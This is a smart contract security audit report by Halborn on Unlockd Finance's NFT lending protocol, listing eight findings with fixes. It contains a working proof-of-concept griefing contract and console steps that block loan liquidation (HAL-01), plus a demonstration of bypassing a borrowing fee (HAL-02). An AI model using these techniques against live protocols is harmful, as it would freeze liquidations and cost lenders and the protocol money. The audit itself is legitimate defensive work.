HALBORN

Unlockd Finance - Protocol v1

Smart Contract Security Audit

Prepared by: **Halborn**

Date of Engagement: **October 3rd, 2022 - October 24th, 2022**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	10/22/2022	István Böhm
0.2	Document Updates	10/24/2022	István Böhm
0.3	Draft Review	10/25/2022	Kubilay Onur Gungor
0.4	Draft Review	10/25/2022	Gabi Urrutia
0.5	Draft Updates	10/26/2022	Kubilay Onur Gungor
0.6	Draft Updates Review	10/26/2022	Gabi Urrutia
1.0	Remediation Plan	11/07/2022	István Böhm
1.1	Remediation Plan Review	11/08/2022	Kubilay Onur Gungor
1.2	Remediation Plan Review	11/08/2022	Gabi Urrutia

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com

Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Kubilay Onur Gungor	Halborn	Kubilay.Gungor@halborn.com
István Böhm	Halborn	Istvan.Bohm@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

Unlockd Finance engaged Halborn to conduct a security audit on their smart contracts beginning on October 3rd, 2022 and ending on October 24th, 2022. The security assessment was scoped to the changes made by the #66/25988b3 pull request to the contracts provided in their UnlockdFinance/unlockd-protocol-v1 GitHub repository.

1.2 AUDIT SUMMARY

The team at Halborn was provided two weeks for the engagement and assigned a full-time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

In summary, Halborn identified some security risks that were addressed by the Unlockd Finance team.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the contracts' solidity code and can quickly identify items that do not follow security best practices. The

following phases and associated tools were used throughout the term of the audit:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts. (Brownie).
- Static Analysis of security for scoped contract, and imported functions manually.
- Testnet deployment (Ganache).

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

5 - May cause devastating and unrecoverable impact or loss.
4 - May cause a significant level of impact or loss.
3 - May cause a partial impact or loss to many.

2 - May cause temporary impact or loss.
1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL

10 - CRITICAL
9 - 8 - HIGH
7 - 6 - MEDIUM
5 - 4 - LOW
3 - 1 - VERY LOW AND INFORMATIONAL

1.4 SCOPE

IN-SCOPE:
The security assessment was scoped to the changes made by the #66/25988b3 pull request.

2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
0	1	1	2	4

LIKELIHOOD

IMPACT

			(HAL-01)	
			(HAL-02)	
(HAL-05) (HAL-06) (HAL-07)	(HAL-04)	(HAL-03)		
	(HAL-08)			

EXECUTIVE OVERVIEW

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL-01 - GRIEFING ATTACK	High	SOLVED - 10/28/2022
HAL-02 - MISSING NFT CONFIG FEE VALIDATION	Medium	SOLVED - 10/19/2022
HAL-03 - MISSING RESERVE BALANCE VALIDATION	Low	SOLVED - 10/29/2022
HAL-04 - IMPROPER TOKEN ID STORAGE	Low	SOLVED - 10/19/2022
HAL-05 - INCONSISTENT MODIFIER USAGE	Informational	SOLVED - 10/14/2022
HAL-06 - INCOMPATIBILITY WITH NON-STANDARD ERC20 TOKENS	Informational	SOLVED - 10/28/2022
HAL-07 - MISSING ZERO-ADDRESS CHECKS	Informational	SOLVED - 10/18/2022
HAL-08 - LOOP GAS USAGE OPTIMIZATION	Informational	SOLVED - 11/7/2022

FINDINGS & TECH DETAILS

3.1 (HAL-01) GRIEFING ATTACK - HIGH

Description:

It was identified during the test that it is possible to win an auction on behalf of a contract. Because the protocol uses the safeTransferFrom function to transfer the NFT to the auction winner after liquidation, a malicious user can bid on behalf of a contract that does not accept NFTs, preventing the liquidation of the loan.

Code Location:

Listing 1: LiquidateLogic.sol

```
523     // transfer erc721 to bidder
524     IERC721Upgradeable(loanData.nftAsset).safeTransferFrom(address
 ↳ (this), loanData.bidderAddress, params.nftTokenId);
```

Proof of concept:

As proof of concept in our test environment, a loan was created, and the following contract was deployed to use as the address that will get the underlying NFT after winning the auction.

Listing 2: Malicious.sol

```
1 pragma solidity 0.8.4;
2
3 contract Malicious {
4     function onERC721Received(address operator, address from,
 ↳ uint256 tokenId, bytes data) external returns (bytes4) {
5         revert("NFTs are not allowed");
6     }
7 }
```

```
>>> printDictionary(contract_pool.getNftDebtData(contract_byac, 111))
loanId          : 1
reserveAsset    : 0xB4B4ead1A260F1572b88b9D8ABa5A152D166c104
totalCollateral : 10000000000000000000
totalDebt       : 10000000013415681224
availableBorrows: 0
healthFactor    : 899999998792588691
>>> contract_malicious = user3.deploy(Malicious)
Transaction sent: 0xb40de9a1a44cdcf08635fac69e23c5721dd63fc27de43e1130eae009968cebcf
  Max fee: 2.000000038 gwei   Priority fee: 2.0 gwei   Gas limit: 12450000   Nonce: 2
  Malicious.constructor confirmed   Block: 158   Gas used: 167137 (1.34%)   Gas price: 2.000000017 gwei
  Malicious deployed at: 0x1cdC1947000f86601090b6EAF101B8413266750E

>>> nftLiquidatePriceData = contract_pool.getNftLiquidatePrice(contract_byac, 111)
>>> auction_price = nftLiquidatePriceData['liquidatePrice'] + parseUnits(1,14)
>>> auction_dst = contract_malicious
>>> tx = contract_pool.auction(contract_byac, 111, auction_price, auction_dst, {'from':user3})
Transaction sent: 0xa0d60a10e64bf675ac50d63f3073f85496134b1d3ed0b96544b52d1d819abb64
  Max fee: 2.000000034 gwei   Priority fee: 2.0 gwei   Gas limit: 12450000   Nonce: 3
  Transaction confirmed   Block: 159   Gas used: 386213 (3.10%)   Gas price: 2.000000015 gwei
```

Once the auction was won on behalf of the malicious contract, the loan could no longer be liquidated, causing a denial of service condition where neither the borrower nor the protocol receives funds.

```
>>> chain.sleep(DAY * 20)
>>> printDictionary(contract_loan.getLoan(loanid))
loanId            : 1
state             : 3
borrower          : 0x51d25BEeef0193C96CFDA7fff9BD7411C2BdbDd3
nftAsset          : 0x4e07D87De1CF586D51C3665e6a4d36eB9d99a457
nftTokenId        : 111
reserveAsset      : 0xB4B4ead1A260F1572b88b9D8ABa5A152D166c104
scaledAmount      : 10000000000000000000
bidStartTimestamp : 1666694232
bidderAddress     : 0x1cdC1947000f86601090b6EAF101B8413266750E
bidPrice          : 10000100187819538772
bidBorrowAmount   : 10000000415886126310
firstBidderAddress: 0x1cdC1947000f86601090b6EAF101B8413266750E
>>> extraAmount = parseUnits(3,16)
>>> contract_pool.liquidate(contract_byac, 111, extraAmount, {'from':user1})
Transaction sent: 0xe09e8919f9fbd8ff6270f6f91cc34bc70b3a3a24e4a39a4381e30baadc353a67
  Max fee: 2.00000003 gwei   Priority fee: 2.0 gwei   Gas limit: 12450000   Nonce: 5
  Transaction confirmed (NFTs are not allowed)   Block: 160   Gas used: 576581 (4.63%)   Gas price: 2.000000014 gwei

<Transaction '0xe09e8919f9fbd8ff6270f6f91cc34bc70b3a3a24e4a39a4381e30baadc353a67'>
>>>
```

Risk Level:

Likelihood - 4

Impact - 4

Recommendation:

It is recommended to modify the protocol to prevent similar griefing attacks. One possible solution is to liquidate the loan and send the NFT to the treasury if it is not possible to send the NFT to the auction winner.

Remediation Plan:

SOLVED: The Unlockd team solved the issue in commit 75ae571 by transferring the NFT to the treasury if sending it to the winner of the auction was not possible.

3.2 (HAL-02) MISSING NFT CONFIG FEE VALIDATION - MEDIUM

Description:

It was identified that the borrow and batchBorrow functions of the LendPool contract do not validate their nftConfigFee parameter. The fee is supposed to cover the estimated gas cost of configuring each NFT and is removed from the borrowed amounts. Borrowers can supply arbitrary fee values, including zero, avoiding the configuration costs.

Code Location:

Listing 3: LendPool.sol (Line 226)

```
219   function borrow(
220     address asset,
221     uint256 totalAmount, // Total Amount
222     address nftAsset,
223     uint256 nftTokenId,
224     address onBehalfOf,
225     uint16 referralCode,
226     uint256 nftConfigFee // Will deduct from Total Amount amount -
 ↳  nftConfigFee
227   ) external override nonReentrant whenNotPaused {
```

Listing 4: LendPool.sol (Line 265)

```
258   function batchBorrow(
259     address[] calldata assets,
260     uint256[] calldata totalAmounts,
261     address[] calldata nftAssets,
262     uint256[] calldata nftTokenIds,
263     address onBehalfOf,
264     uint16 referralCode,
265     uint256 nftConfigFees
266   ) external override nonReentrant whenNotPaused {
```

Proof of Concept:

As proof of concept, a loan was created in our test environment using a non-zero fee parameter. The borrowing transaction was successful, and the user received the funds from which the fee was deducted.

```
>>> contract_weth.balanceOf(user1)
0
>>> borrow_amount = parseUnits(10,18)
>>> borrow_dst = user1
>>> referralCode = 0
>>> nftConfigFee = parseUnits(5,16)
>>> contract_pool.borrow(contract_weth, borrow_amount, contract_byac, "111", borrow_dst, referralCode, nftConfigFee, {'from':user1})
Transaction sent: 0xb1a3068ad7679a3f72d172ca7eacf068eb560c4ebb8a51b6a77a9f0221e024b8
  Max fee: 2.000000042 gwei   Priority fee: 2.0 gwei   Gas limit: 12450000   Nonce: 5
  Transaction confirmed   Block: 157   Gas used: 781897 (6.28%)   Gas price: 2.000000019 gwei

<Transaction '0xb1a3068ad7679a3f72d172ca7eacf068eb560c4ebb8a51b6a77a9f0221e024b8'>
>>> contract_weth.balanceOf(user1)
9950000000000000000
```

The same transaction was repeated using a zero fee parameter. The user received the funds without paying the configuration fees.

```
>>> contract_weth.balanceOf(user1)
0
>>> borrow_amount = parseUnits(10,18)
>>> borrow_dst = user1
>>> referralCode = 0
>>> nftConfigFee = 0
>>> contract_pool.borrow(contract_weth, borrow_amount, contract_byac, "111", borrow_dst, referralCode, nftConfigFee, {'from':user1})
Transaction sent: 0xcaf00164f842d78c5bcc6d11ee4253f2cc3f036e223ec424592ef4856c5f9919
  Max fee: 2.000000042 gwei   Priority fee: 2.0 gwei   Gas limit: 12450000   Nonce: 5
  Transaction confirmed   Block: 157   Gas used: 761937 (6.12%)   Gas price: 2.000000019 gwei

<Transaction '0xcaf00164f842d78c5bcc6d11ee4253f2cc3f036e223ec424592ef4856c5f9919'>
>>> contract_weth.balanceOf(user1)
10000000000000000000
```

Risk Level:

Likelihood - 4
Impact - 3

Recommendation:

It is recommended to calculate the fee internally and pass its value to the appropriate functions. The contracts should not trust the authenticity of any value supplied by the users.

Remediation Plan:

SOLVED: The Unlockd team solved the issue in commit 3ed2357 by removing the nftConfigFees parameter from the functions borrow and batchBorrow.

3.3 (HAL-03) MISSING RESERVE BALANCE VALIDATION - LOW

Description:

It was identified that the balances of the reserves are not validated. Borrowing more funds than the protocol has in the reserves leads to overflow errors. Note that this error reverts the transaction.

Proof of Concept:

As proof of concept, it was tried to borrow more funds than what was stored in the associated reserve. The operation caused an overflow, and the transaction was reverted.

```
>>> contract_weth.balanceOf(contract_utoken_weth)
5000000000000000000  - The current balance of the WETH reserve (5 WETH)
>>> borrow_amount = parseUnits(10,18) - The borrow amount ( 10 WETH)
>>> borrow_dst = user1
>>> referralCode = 0
>>> nftConfigFee = parseUnits(5,16)
>>> contract_pool.borrow(contract_weth, borrow_amount, contract_byac, "111", borrow_dst, referralCode, nftConfigFee, {'from':user1})
Transaction sent: 0x71a8a5981d75175f7c5ad81b09829de2938b9fdc748deea7c80ea691fa7380ea
  Max fee: 2.000000038 gwei   Priority fee: 2.0 gwei   Gas limit: 12450000   Nonce: 6
  Transaction confirmed (VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation underflowed or overflowed
outside of an unchecked block))   Block: 158   Gas used: 794500 (6.38%)   Gas price: 2.000000017 gwei

<Transaction '0x71a8a5981d75175f7c5ad81b09829de2938b9fdc748deea7c80ea691fa7380ea'>
```

Risk Level:

Likelihood - 3
Impact - 2

Recommendation:

It is recommended to implement validations to make sure that underflow errors will not occur.

Remediation Plan:

SOLVED: The Unlockd team solved the issue in commit 286abe3 by checking the reserve balance during the borrowing process.

3.4 (HAL-04) IMPROPER TOKEN ID STORAGE - LOW

Description:

The NFTOracle contract stored the IDs of the tokens in an array. It was identified that the contract pushes the same token ID into the array every time its price changes. When changing prices frequently for popular collections, the size of the arrays could grow untenable.

Code Location:

Listing 5: NFTOracle.sol (Line 226)

```
219   function _setNFTPrice(
220     address _collection,
221     uint256 _tokenId,
222     uint256 _price
223   ) internal onlyExistingCollection(_collection) whenNotPaused(
 ↳ _collection) {
224     if (_price <= 0) revert PriceIsZero();
225     nftPrices[_collection][_tokenId] = _price;
226     collectionTokenIds[_collection].push(_tokenId);
227     emit NFTPriceAdded(_collection, _tokenId, _price);
228   }
```

These modifiers were not used in other places. Using both of them unnecessarily increases the size and complexity of the NFTOracle contract.

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to keep track of whether an ID is already added or not (e.g., with mapping) and not add the same ID multiple times to the array.

Remediation Plan:

SOLVED: The Unlockd team solved the issue in commit 3ed2357 by removing the collectionTokenIds mapping from the contract.

3.5 (HAL-05) INCONSISTENT MODIFIER USAGE - INFORMATIONAL

Description:

Inconsistent modifier usage was identified in the NFTOracle contract.

contracts/protocol/NFTOracle.sol
- Line 187: The setNFTPrice function used the onlyPriceManager modifier.
- Line 198: The setMultipleNFTPrices function used the onlyAdmin modifier.

These modifiers were not used in other places. Using both of them in the NFTOracle contract unnecessarily increases the size and complexity.

Risk Level:

Likelihood - 1
Impact - 2

Recommendation:

It is recommended to use only one of these modifiers and remove the other from the contract.

Remediation Plan:

SOLVED: The Unlockd team solved the issue in commit 5e7942b using only the onlyPriceManager modifier.

3.6 (HAL-06) INCOMPATIBILITY WITH NON-STANDARD ERC20 TOKENS - INFORMATIONAL

Description:

In the PunkGateway. contract, the authorizeLendPoolERC20 function perform a call to approve function.

Some tokens like USDT require that the allowance is zero before an approval call.

Code Location:

Listing 6: PunkGateway.sol (Line 104)

```
102   function authorizeLendPoolERC20(address[] calldata tokens)
 ↳ external nonReentrant onlyOwner {
103     for (uint256 i = 0; i < tokens.length; i++) {
104       IERC20Upgradeable(tokens[i]).approve(address(_getLendPool())
 ↳ , type(uint256).max);
105     }
106   }
```

With the current implementation, calling the function with the above non-standard token parameters may revert the function execution.

Risk Level:

Likelihood - 1
Impact - 2

Recommendation:

Approve with a zero amount first before setting the actual amount.

Remediation Plan:

SOLVED: The Unlockd team solved the issue in commit fcf5987 by approving with a zero amount first before setting the actual amount.

3.7 (HAL-07) MISSING ZERO-ADDRESS CHECKS - INFORMATIONAL

Description:

It was identified that within the code, the setLtvManager function was lacking zero address validation. Addresses should be validated and checked that is different from zero when neccesary.

contracts/protocol/LendPoolAddressesProvider.sol:
- Line 167: The setLtvManager function lacks zero address check on the ltvManager parameter.

Risk Level:

Likelihood - 1
Impact - 2

Recommendation:

It is recommended to add zero address checks where applicable.

Remediation Plan:

SOLVED: The Unlockd team solved the issue in commit ddfa8ee by removing the setLtvManager function from the contract.

3.8 (HAL-08) LOOP GAS USAGE OPTIMIZATION - INFORMATIONAL

Description:

Multiple gas cost optimization opportunities were identified in the loops of the following contracts:

- Unnecessary reading of the array length on each iteration wastes gas.
- A postfix (e.g. `i++`) operator was used to increment the `i` variables. It is known that, in loops, using prefix operators (e.g. `++i`) costs less gas per iteration than postfix operators. It is also possible to further optimize loops by using unchecked loop index incrementing and decrementing.
- Using != consumes less gas than <.

Code Location:

The following code sections are from the `getSimpleNftsConfiguration` and `getNFTPriceNFTX` external view functions. Executing these functions only costs gas if they are called from another contract:

contracts/misc/UiPoolDataProvider.sol
- Line 338: `for (uint256 i = 0; i < nftAssets.length; i++){`

contracts/protocol/NFTOracle.sol
- Line 296: `for (uint256 i = 0; i != vaultAddresses.length; ){`
- Line 309: `++i;`

Risk Level:

Likelihood - 2
Impact - 1

Recommendation:

It is recommended to cache array lengths outside of loops, as long the size is not changed during the loop.

It is recommended to use the unchecked ++i operation instead of i++ to increment the values of the uint variable inside the loop. It is noted that using unchecked operations requires particular caution to avoid overflows, and their use may impair code readability.

It is possible to save gas by using != instead of < in the exit conditions.

The following code is an example of the above recommendations:

Listing 7

```
uint256 collectionsLength = _collections.length;
for (uint256 i = 0; i != collectionsLength;) {
    ...
    unchecked { ++i; }
}
```

Remediation Plan:

SOLVED: The Unlockd team solved the issue in commit 612d89d by applying the above recommendations in the loops.

AUTOMATED TESTING

4.1 STATIC ANALYSIS REPORT

Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the scoped contracts. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their ABI and binary formats, Slither was run on the all-scoped contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

Slither results:

contracts/protocol/LendPool.sol

```
LendPool.batchBorrow(address[],uint256[],address[],uint256[],address,uint16,uint256).params (contracts/protocol/LendPool.sol#267) is a local variable never initialized
LendPool.getNftLiquidatePrice(address,uint256).vars (contracts/protocol/LendPool.sol#750) is a local variable never initialized
LendPool.slitherConstructorConstantVariables() (contracts/protocol/LendPool.sol#51-1105) uses literals with too many digits:
        - ADDRESS_ID_WETH_GATEWAY = 0xADDE0000000000000000000000000000000000000000000000000000000001 (contracts/protocol/LendPool.sol#68)
LendPool.slitherConstructorConstantVariables() (contracts/protocol/LendPool.sol#51-1105) uses literals with too many digits:
        - ADDRESS_ID_PUNK_GATEWAY = 0xADDE0000000000000000000000000000000000000000000000000000000002 (contracts/protocol/LendPool.sol#69)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#too-many-digits
```

contracts/protocol/LendPoolAddressesProvider.sol

```
Reentrancy in LendPoolAddressesProvider._updateImpl(bytes32,address) (contracts/protocol/LendPoolAddressesProvider.sol#436-453):
        External calls:
        - proxy = new UnlockdUpgradeableProxy(newAddress,address(this),params) (contracts/protocol/LendPoolAddressesProvider.sol#443)
        State variables written after the call(s):
        - _addresses[id] = address(proxy) (contracts/protocol/LendPoolAddressesProvider.sol#445)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1

ERC1967Upgrade._upgradeToAndCallUUPS(address,bytes,bool).slot (node_modules/@openzeppelin/contracts/proxy/ERC1967/ERC1967Upgrade.sol#92) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-local-variables
LendPoolAddressesProvider.setAddressAsProxy(bytes32,address,bytes) (contracts/protocol/LendPoolAddressesProvider.sol#72-84) ignores return value by Address.functionCall(_addresses[id],encodedCallData) (contracts/protocol/LendPoolAddressesProvider.sol#82)
LendPoolAddressesProvider.setLendPoolImpl(address,bytes) (contracts/protocol/LendPoolAddressesProvider.sol#120-128) ignores return value by Address.functionCall(_addresses[LEND_POOL],encodedCallData) (contracts/protocol/LendPoolAddressesProvider.sol#126)
LendPoolAddressesProvider.setLendPoolConfiguratorImpl(address,bytes) (contracts/protocol/LendPoolAddressesProvider.sol#144-152) ignores return value by Address.functionCall(_addresses[LEND_POOL_CONFIGURATOR],encodedCallData) (contracts/protocol/LendPoolAddressesProvider.sol#150)
LendPoolAddressesProvider.setLendPoolLoanImpl(address,bytes) (contracts/protocol/LendPoolAddressesProvider.sol#258-266) ignores return value by Address.functionCall(_addresses[LEND_POOL_LOAN],encodedCallData) (contracts/protocol/LendPoolAddressesProvider.sol#264)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return

Reentrancy in LendPoolAddressesProvider._updateImpl(bytes32,address) (contracts/protocol/LendPoolAddressesProvider.sol#436-453):
        External calls:
        - proxy = new UnlockdUpgradeableProxy(newAddress,address(this),params) (contracts/protocol/LendPoolAddressesProvider.sol#443)
        Event emitted after the call(s):
        - ProxyCreated(id,address(proxy)) (contracts/protocol/LendPoolAddressesProvider.sol#446)
Reentrancy in LendPoolAddressesProvider.setAddressAsProxy(bytes32,address,bytes) (contracts/protocol/LendPoolAddressesProvider.sol#72-84):
        External calls:
        - _updateImpl(id,implementationAddress) (contracts/protocol/LendPoolAddressesProvider.sol#78)
                - proxy = new UnlockdUpgradeableProxy(newAddress,address(this),params) (contracts/protocol/LendPoolAddressesProvider.sol#443)
                - proxy_scope_0.upgradeTo(newAddress) (contracts/protocol/LendPoolAddressesProvider.sol#451)
        Event emitted after the call(s):
        - AddressSet(id,implementationAddress,true,encodedCallData) (contracts/protocol/LendPoolAddressesProvider.sol#79)
Reentrancy in LendPoolAddressesProvider.setLendPoolConfiguratorImpl(address,bytes) (contracts/protocol/LendPoolAddressesProvider.sol#144-152):
        External calls:
        - _updateImpl(LEND_POOL_CONFIGURATOR,configurator) (contracts/protocol/LendPoolAddressesProvider.sol#146)
                - proxy = new UnlockdUpgradeableProxy(newAddress,address(this),params) (contracts/protocol/LendPoolAddressesProvider.sol#443)
                - proxy_scope_0.upgradeTo(newAddress) (contracts/protocol/LendPoolAddressesProvider.sol#451)
        Event emitted after the call(s):
        - LendPoolConfiguratorUpdated(configurator,encodedCallData) (contracts/protocol/LendPoolAddressesProvider.sol#147)
Reentrancy in LendPoolAddressesProvider.setLendPoolImpl(address,bytes) (contracts/protocol/LendPoolAddressesProvider.sol#120-128):
        External calls:
        - _updateImpl(LEND_POOL,pool) (contracts/protocol/LendPoolAddressesProvider.sol#122)
                - proxy = new UnlockdUpgradeableProxy(newAddress,address(this),params) (contracts/protocol/LendPoolAddressesProvider.sol#443)
                - proxy_scope_0.upgradeTo(newAddress) (contracts/protocol/LendPoolAddressesProvider.sol#451)
        Event emitted after the call(s):
        - LendPoolUpdated(pool,encodedCallData) (contracts/protocol/LendPoolAddressesProvider.sol#123)
Reentrancy in LendPoolAddressesProvider.setLendPoolLoanImpl(address,bytes) (contracts/protocol/LendPoolAddressesProvider.sol#258-266):
        External calls:
        - _updateImpl(LEND_POOL_LOAN,loanAddress) (contracts/protocol/LendPoolAddressesProvider.sol#260)
                - proxy = new UnlockdUpgradeableProxy(newAddress,address(this),params) (contracts/protocol/LendPoolAddressesProvider.sol#443)
                - proxy_scope_0.upgradeTo(newAddress) (contracts/protocol/LendPoolAddressesProvider.sol#451)
        Event emitted after the call(s):
        - LendPoolLoanUpdated(loanAddress,encodedCallData) (contracts/protocol/LendPoolAddressesProvider.sol#261)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3

LendPoolAddressesProvider.UNLOCKD_ORACLE (contracts/protocol/LendPoolAddressesProvider.sol#30) is never used in LendPoolAddressesProvider (contracts/protocol/LendPoolAddressesProvider.sol#20-463)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-state-variable
```

contracts/protocol/LendPoolConfigurator.sol

```
LendPoolConfigurator._checkReserveNoLiquidity(address) (contracts/protocol/LendPoolConfigurator.sol#613-619) uses a dangerous strict equality:
        - require(bool,string)(availableLiquidity == 0 && reserveData.currentLiquidityRate == 0,Errors.LPC_RESERVE_LIQUIDITY_NOT_0) (contracts/protocol/LendPoolConfigurator.sol#618)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities

Reentrancy in LendPoolConfigurator.batchConfigNft(ILendPoolConfigurator.ConfigNftInput[]) (contracts/protocol/LendPoolConfigurator.sol#483-542):
        External calls:
        - cachedPool.setNftConfigByTokenId(inputs[i].asset,inputs[i].tokenId,currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#519)
        Event emitted after the call(s):
        - NftAuctionChanged(inputs[i].asset,inputs[i].tokenId,inputs[i].redeemDuration,inputs[i].auctionDuration,inputs[i].redeemFine) (contracts/protocol/LendPoolConfigurator.sol#528-534)
        - NftConfigurationChanged(inputs[i].asset,inputs[i].tokenId,inputs[i].baseLTV,inputs[i].liquidationThreshold,inputs[i].liquidationBonus) (contracts/protocol/LendPoolConfigurator.sol#521-527)
        - NftMinBidFineChanged(inputs[i].asset,inputs[i].tokenId,inputs[i].minBidFine) (contracts/protocol/LendPoolConfigurator.sol#536)
        - NftRedeemThresholdChanged(inputs[i].asset,inputs[i].tokenId,inputs[i].redeemThreshold) (contracts/protocol/LendPoolConfigurator.sol#535)
Reentrancy in LendPoolConfigurator.batchConfigNft(ILendPoolConfigurator.ConfigNftInput[]) (contracts/protocol/LendPoolConfigurator.sol#483-542):
        External calls:
        - cachedPool.setNftConfigByTokenId(inputs[i].asset,inputs[i].tokenId,currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#519)
        - cachedPool.setNftMaxSupplyAndTokenId(inputs[i].asset,inputs[i].maxSupply,inputs[i].maxTokenId) (contracts/protocol/LendPoolConfigurator.sol#539)
        Event emitted after the call(s):
        - NftMaxSupplyAndTokenIdChanged(inputs[i].asset,inputs[i].maxSupply,inputs[i].maxTokenId) (contracts/protocol/LendPoolConfigurator.sol#540)
Reentrancy in LendPoolConfigurator.batchConfigReserve(ILendPoolConfigurator.ConfigReserveInput[]) (contracts/protocol/LendPoolConfigurator.sol#213-224):
        External calls:
        - cachedPool.setReserveConfiguration(inputs[i].asset,currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#220)
        Event emitted after the call(s):
        - ReserveFactorChanged(inputs[i].asset,inputs[i].reserveFactor) (contracts/protocol/LendPoolConfigurator.sol#222)
Reentrancy in LendPoolConfigurator.configureNftAsAuction(address,uint256,uint256,uint256,uint256) (contracts/protocol/LendPoolConfigurator.sol#394-415):
        External calls:
        - cachedPool.setNftConfigByTokenId(asset,nftTokenId,currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#412)
        Event emitted after the call(s):
        - NftAuctionChanged(asset,nftTokenId,redeemDuration,auctionDuration,redeemFine) (contracts/protocol/LendPoolConfigurator.sol#414)
Reentrancy in LendPoolConfigurator.configureNftAsCollateral(address,uint256,uint256,uint256,uint256,uint256,uint256,uint256,bool,bool) (contracts/protocol/LendPoolConfigurator.sol#337-385):
        External calls:
        - cachedPool.setNftConfigByTokenId(asset,nftTokenId,currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#380)
        - INFTOracle(_addressesProvider.getNFTOracle()).setNFTPrice(asset,nftTokenId,newPrice) (contracts/protocol/LendPoolConfigurator.sol#382)
        Event emitted after the call(s):
        - NftConfigurationChanged(asset,nftTokenId,ltv,liquidationThreshold,liquidationBonus) (contracts/protocol/LendPoolConfigurator.sol#384)

Reentrancy in LendPoolConfigurator.setActiveFlagOnNft(address[],bool) (contracts/protocol/LendPoolConfigurator.sol#231-248):
        External calls:
        - cachedPool.setNftConfiguration(assets[i],currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#240)
        Event emitted after the call(s):
        - NftActivated(assets[i]) (contracts/protocol/LendPoolConfigurator.sol#243)
        - NftDeactivated(assets[i]) (contracts/protocol/LendPoolConfigurator.sol#245)
Reentrancy in LendPoolConfigurator.setActiveFlagOnNftByTokenId(address[],uint256[],bool) (contracts/protocol/LendPoolConfigurator.sol#256-276):
        External calls:
        - cachedPool.setNftConfigByTokenId(assets[i],tokenIds[i],currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#268)
        Event emitted after the call(s):
        - NftTokenActivated(assets[i],tokenIds[i]) (contracts/protocol/LendPoolConfigurator.sol#271)
        - NftTokenDeactivated(assets[i],tokenIds[i]) (contracts/protocol/LendPoolConfigurator.sol#273)
Reentrancy in LendPoolConfigurator.setActiveFlagOnReserve(address[],bool) (contracts/protocol/LendPoolConfigurator.sol#138-155):
        External calls:
        - cachedPool.setReserveConfiguration(assets[i],currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#147)
        Event emitted after the call(s):
        - ReserveActivated(assets[i]) (contracts/protocol/LendPoolConfigurator.sol#150)
        - ReserveDeactivated(assets[i]) (contracts/protocol/LendPoolConfigurator.sol#152)
Reentrancy in LendPoolConfigurator.setBorrowingFlagOnReserve(address[],bool) (contracts/protocol/LendPoolConfigurator.sol#112-131):
        External calls:
        - cachedPool.setReserveConfiguration(assets[i],currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#123)
        Event emitted after the call(s):
        - BorrowingDisabledOnReserve(assets[i]) (contracts/protocol/LendPoolConfigurator.sol#128)
        - BorrowingEnabledOnReserve(assets[i]) (contracts/protocol/LendPoolConfigurator.sol#126)
Reentrancy in LendPoolConfigurator.setFreezeFlagOnNft(address[],bool) (contracts/protocol/LendPoolConfigurator.sol#283-297):
        External calls:
        - cachedPool.setNftConfiguration(assets[i],currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#289)
        Event emitted after the call(s):
        - NftFrozen(assets[i]) (contracts/protocol/LendPoolConfigurator.sol#292)
        - NftUnfrozen(assets[i]) (contracts/protocol/LendPoolConfigurator.sol#294)
